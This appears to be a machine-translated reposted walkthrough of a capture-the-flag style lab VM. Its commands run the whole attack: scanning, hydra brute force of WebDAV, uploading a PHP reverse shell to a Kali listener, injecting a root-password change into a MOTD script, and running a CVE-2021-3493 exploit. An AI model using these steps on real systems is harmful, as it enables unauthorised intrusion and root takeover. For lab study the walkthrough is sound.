当前位置:网站首页>Detailed explanation of the penetration of network security in the shooting range
Detailed explanation of the penetration of network security in the shooting range
2022-04-23 16:49:00 【InfoQ】
0x00 Environment configuration



0x01 The host found / Port scanning
arp-scan -l

nmap -sV -sC -p- 192.168.26.131

0x02 information gathering
dirsearch --url http://192.168.26.131



0x03 Password dictionary customization
cewl http://192.168.26.131 -w 192.168.26.131dict.txt

0x04 hydra Code explosion
hydra -L 192.168.26.131dict.txt -P 192.168.26.131dict.txt 192.168.26.131 http-get /webdav -v

Successfully exploded the account and password , Sure enough, the generated exclusive dictionary is better to use . Because we got webdav Relevant certification information of the service , So next I started using it directly kali Self contained webdav Testing tools davtest To test , See if you can send the file up , If you can , We can directly webshell To the server , In order to getshell Break through the border .
0x05 webdav Loophole
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg

From the picture above, we can know , We can establish a through the obtained information voucher DAV Connect , And you can create directories and upload files on the target , The only files uploaded to it are txt,php,html Three formats of files can be executed , So here we are getshell There is a way of thinking , Pass a rebound directly shell Of php file , then kali Listen to the local port , Then access this file , Trigger execution getshell.
cp /usr/share/webshells/php/php-reverse-shell.php . # take kali Self rebound shell Copy the file to the current directory
vim php-reverse-shell.php # Edit this file , take ip Change it to kali Of ip Port to kali The port of
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev.php

As you can see from the picture above , We have succeeded in rebounding shell The file was uploaded to the target plane , Next kali Listen to the local port , Then access this file , Trigger execution getshell.
nc -lnvp 4444 #kali monitor 4444 port
http://192.168.26.131/webdav/rev.php # Access to this link triggers execution shell Code for

python3 -c "import pty;pty.spawn('/bin/bash')" # Upgrade and optimize shell
0x06 MOTD Injection of power
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
# Command interpretation :
Start from the root directory to find file type The owner is root Ordinary users or groups can perform Other users can write If you find a qualified use ls -l Command display The error message is directed from null



chitragupt



ssh [email protected]
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null


vi /etc/update-motd.d/00-header # Edit this file
echo 'root:123' | chpasswd # Add this line at the end of the file , This line means , Use chpasswd The order will root The user's password is changed to 123



0x07 CVE-2021-3493 Raise the right :


scp exploit.c [email protected]:/home/inferno # take exp Upload to the target

gcc exploit.c -o exploit # Try to compile exploit.c And name the compiled file exploit


chmod +x exploit # to exploit Grant execution permission
./exploit # perform exp


版权声明
本文为[InfoQ]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231645272170.html
边栏推荐
- Deepinv20 installation MariaDB
- Database dbvisualizer Pro reported file error, resulting in data connection failure
- 文件操作详解(2)
- PyTorch:train模式与eval模式的那些坑
- OMNeT学习之新建工程
- Copy constructor shallow copy and deep copy
- Do you really understand the principle of code scanning login?
- 计算饼状图百分比
- Idea of batch manufacturing test data, with source code
- Selenium IDE and XPath installation of chrome plug-in
猜你喜欢
Sail soft implements a radio button, which can uniformly set the selection status of other radio buttons
Getting started with JDBC
Gartner 发布新兴技术研究:深入洞悉元宇宙
Loggie source code analysis source file module backbone analysis
TypeError: set_ figure_ params() got an unexpected keyword argument ‘figsize‘
File upload and download of robot framework
Mock test
英语 | Day15、16 x 句句真研每日一句(从句断开、修饰)
The solution of not displaying a whole line when the total value needs to be set to 0 in sail software
How much do you know about the process of the interview
随机推荐
PyMySQL
【Pygame小游戏】10年前风靡全球的手游《愤怒的小鸟》,是如何霸榜的?经典回归......
OMNeT学习之新建工程
【PIMF】OpenHarmony啃论文俱乐部—在ACM Survey闲逛是什么体验
Creation of RAID disk array and RAID5
英语 | Day15、16 x 句句真研每日一句(从句断开、修饰)
Introduction to how to set up LAN
◰GL-着色器处理程序封装
Pytorch: the pit between train mode and eval mode
5分钟NLP:Text-To-Text Transfer Transformer (T5)统一的文本到文本任务模型
Installation and management procedures
The first line and the last two lines are frozen when paging
人脸识别框架之dlib
DDT + Excel for interface test
Redis "8" implements distributed current limiting and delay queues
Sail soft segmentation solution: take only one character (required field) of a string
On the security of key passing and digital signature
MySQL master-slave replication
Pycham connects to the remote server and realizes remote debugging
昆腾全双工数字无线收发芯片KT1605/KT1606/KT1607/KT1608适用对讲机方案